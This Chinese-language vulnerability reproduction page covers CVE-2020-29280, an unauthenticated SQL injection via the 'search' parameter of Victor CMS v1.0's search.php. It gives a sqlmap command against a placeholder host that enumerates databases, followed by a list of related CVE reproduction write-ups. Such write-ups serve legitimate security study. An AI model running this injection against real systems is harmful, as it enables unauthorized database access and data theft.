Victor CMS 未授權sql注入(CVE-2020-29280)漏洞復現
0X00簡介
The Victor CMS v1.0版本存在安全漏洞，該漏洞源於通過search.php頁面上的“search”引數造成的。
0X01影響範圍
The Victor CMS v1.0
0X02漏洞復現
在search.php中search引數未經過濾就直接和sql語句拼接導致sql注入漏洞
1.訪問首頁點選搜尋框，測試
直接上sqlmap，
python.exe .\sqlmap.py -u "http://mode.com/search.php" --data="search=1337*&submit=" --dbs --random-agent -v 3
payload
相關推薦
Victor CMS 未授權sql注入(CVE-2020-29280)漏洞復現
0X00簡介 The Victor CMS v1.0版本存在安全漏洞，該漏洞源於通過search.php頁面上的“search”引數造成的。
CVE-2020-2555漏洞復現&&流量分析
CVE-2020-2555漏洞復現&&流量分析 一、準備環境 windows7:weblogic 12.2.1.4.0 JDK版本為jdk-8u261
CVE-2020-2883漏洞復現&&流量分析
CVE-2020-2883漏洞復現&&流量分析 寫在前面 網上大佬說CVE-2020-2883是CVE-2020-2555的繞過，下面就復現了抓包看看吧。
微軟NetLogon許可權提升 CVE-2020-1472 漏洞復現
簡介 NetLogon 遠端協議是一種在 Windows 域控上使用的 RPC 介面,被用於各種與使用者和機器認證相關的任務。最常用於讓使用者使用 NTLM 協議登入伺服器，也用於 NTP 響應認證以及更新計算機域密碼
CVE-2020-1472漏洞復現
摘要 2020年08月12日，Windows官方 釋出了 NetLogon 特權提升漏洞的風險通告，該漏洞編號為 CVE-2020-1472，漏洞等級：嚴重，漏洞評分：10分
Struts2 S2-061(CVE-2020-17530)漏洞復現
0x00 漏洞簡介Apache Struts2框架是一個用於開發Java EE網路應用程式的Web框架。Apache Struts於2020年12月08日披露 S2-061 Struts 遠端程式碼執行漏洞(CVE-2020-17530)，在使用某些tag等情況下可能存在OGNL表示式注
《永恆之黑》CVE-2020-0796漏洞復現
《永恆之黑》CVE-2020-0796漏洞復現 漏洞簡介 2020年3月12日，微軟正式釋出CVE-2020-0796高危漏洞補丁，本漏洞源於SMBv3沒有正確處理壓縮的資料包，在解壓資料包的時候使用客戶端傳過來的長度進行解壓時，並沒有
CVE-2020-1938與CVE-2020-13935漏洞復現
前言 最近在騰訊雲上買了個伺服器，準備用來學習。在安裝了7.0.76的tomcat後，騰訊雲提醒我存在兩個漏洞，分別是CVE-2020-1938和CVE-2020-13935，在修復完漏洞後，準備復現一下這兩個漏洞，於是就有了這篇隨筆。
Weblogic未授權遠端命令執行漏洞（CVE-2020-14882&CVE-2020-14883）復現
Weblogic是Oracle公司推出的J2EE應用伺服器，CVE-2020-14882允許未授權的使用者繞過管理控制檯的許可權驗證訪問後臺，CVE-2020-14883允許後臺任意使用者通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈，可通
weblogic 未授權命令執行漏洞（CVE-2020-14882,CVE-2020-14883）復現
漏洞描述 2020年10月29日，360CERT監測發現 Weblogic ConSole HTTP 協議程式碼執行漏洞,該漏洞編號為 CVE-2020-14882,CVE-2020-14883 ，漏洞等級：嚴重，漏洞評分：9.8。遠端攻擊者可以構造特殊的HTTP請求，在未經身
Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月釋出的安全更新中，包含了一個Weblogic的反序列化RCE漏洞，編號CVE-2020-14645，CVS評分9.8。
CVE-2020-5902 簡單復現
這幾天通報了f5的一個漏洞，想著先弄個環境儲存著，說不定後面就用到了。。
Yii2反序列化（CVE-2020-15148）復現
為了方便安裝，直接在github（https://github.com/yiisoft/yii2）下載一個release的低版本，然後解壓tgz檔案到phpstudy的www的目錄下，命名為Yii2:
ZeroLogon(CVE-2020-1472) 漏洞的攻擊與防禦策略（下）
上文我們介紹了攻擊原理，本文我們將詳細介紹可以發起的攻擊種類和防禦措施。
2020 weblogin rce CVE-2020-14882 漏洞利用POC
漏洞來源 根據P牛圈子告知，應該是長亭某研究員上報“voidfyoo”。 細節由國外人員披露
ECShop 2.x/3.x SQL注入/任意程式碼執行漏洞
ECShop 2.x/3.x SQL注入/任意程式碼執行漏洞 ECShop 2.x/3.x SQL注入/任意程式碼執行漏洞
若依（Ruoyi）管理系統後臺sql注入+任意檔案下載漏洞
0x00若依介紹 若依可以用於所有的Web應用程式，如網站管理後臺，網站會員中心，CMS，CRM，OA。所有前端後臺程式碼封裝過後十分精簡易上手，出錯概率低。同時支援移動客戶端訪問。系統會陸續更新一些實用功能。寓意
Apache Ofbiz xmlrpc RCE漏洞（CVE-2020-9496）復現
Apache Ofbiz xmlrpc RCE漏洞（CVE-2020-9496）復現 簡介 Apache OFBiz全稱是The ApacheOpen For Business Project，是開一個放的電子商務平臺，也是一個非常著名的開源專案
Webmin 命令執行漏洞 （CVE-2020-35606）--- 復現
漏洞繞過針對 採取的措施 CVE-2019-12840 並將其轉換為新向量。 供應商尚未修復此漏洞。
Webmin 命令執行漏洞 （CVE-2020-35606）---復現
CVE-Mitre 連結 下載 webmin_pu_escape_bypass_rce.rb (Metasploit) 漏洞簡介： 該模組利用 Webmin 1.962 及更低版本中的任意命令執行漏洞。 任何授權“包更新”模組的使用者都可以使用 root 許可權執行任意命令。